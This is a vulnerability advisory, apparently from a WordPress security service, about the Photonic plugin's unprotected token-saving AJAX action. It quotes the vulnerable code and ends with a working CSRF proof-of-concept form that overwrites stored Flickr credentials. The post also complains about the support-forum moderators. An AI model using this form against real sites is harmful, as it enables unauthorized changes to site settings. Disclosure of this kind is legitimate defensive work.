WordPress Plugin Claimed to Contain “Critical 0-day Vulnerability” Contains at Least Authenticated Settings Change Vulnerability
On February 15, a topic was started on the wordpress.org support forum for the WordPres plugin Photonic with the title “Critical 0-day vulnerability in the Photonic Plugin v 2.75“. That was subsequently deleted by a moderator, but nothing was done with the plugin on WordPress’ plugin directory. It is still available for download and has not been updated. While we can’t say if the claim made in the title is true since the details of the claim are not available, we easily found that the plugin is lacking basic security and contains at least an authenticated settings change vulnerability. We would recommend not using the plugin unless it has had a thorough security review done and all the issues found are addressed.
The plugin registers the function save_token_in_options() to be accessible by anyone logged in to WordPress:
109 | add_action('wp_ajax_photonic_save_token', [&$this, 'save_token_in_options']); |
That function, /Core/Photonic.php, doesn’t do any security checks before saving settings for the plugin:
916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 | function save_token_in_options() { $provider = strtolower(sanitize_text_field($_POST['provider'])); $token = esc_attr($_POST['token']); $secret = esc_attr($_POST['secret']); if (!empty($_POST['expires_in'])) { $expires_in = esc_attr($_POST['expires_in']); } $options = get_option('photonic_options'); if (empty($options)) { $options = []; } $option_set = false; if (in_array($provider, ['flickr', 'smug', 'zenfolio'])) { $options[$provider.'_access_token'] = $token; $options[$provider.'_token_secret'] = $secret; $option_set = true; } else if (in_array($provider, ['google'])) { $options[$provider.'_refresh_token'] = $token; $option_set = true; } else if (in_array($provider, ['instagram'])) { $client_id = esc_attr($_POST['client_id']); $user = esc_attr($_POST['user']); $options[$provider.'_access_token'] = $token; $auth_token = []; $auth_token['oauth_token'] = $token; $auth_token['oauth_token_created'] = time(); if (!empty($expires_in)) { $auth_token['oauth_token_expires'] = $expires_in; } $auth_token['client_id'] = $client_id; $auth_token['user'] = $user; self::save_provider_authentication($provider, $auth_token); $option_set = true; } if ($option_set) { update_option('photonic_options', $options); echo admin_url('admin.php?page=photonic-options-manager&tab='.$this->provider_map[$provider].'.php'); } die(); } |
There is at least sanitization going on the new values for settings, but there is a lack of a capabilities check to limit who has access to that and a nonce check to prevent cross-site request forgery (CSRF). So anyone logged in to WordPress can change the relevant settings and an attacker could also cause someone logged in to change them without intending through CSRF.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will change the values of the “Access Token (for Back-end / Server-side Authentication)” and “Access Token Secret (for Back-end / Server-side Authentication)” seen on the page /wp-admin/admin.php?page=photonic-options-manager&tab=Flickr.php to “proof of concept”.
Replace “[path to WordPress]” with the location of WordPress and “[function]” with the function to be run.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=photonic_save_token" method="POST"> <input type="hidden" name="provider" value="flickr" /> <input type="hidden" name="token" value="proof of concept" /> <input type="hidden" name="secret" value="proof of concept" /> <input type="submit" value="Submit" /> </form> </body>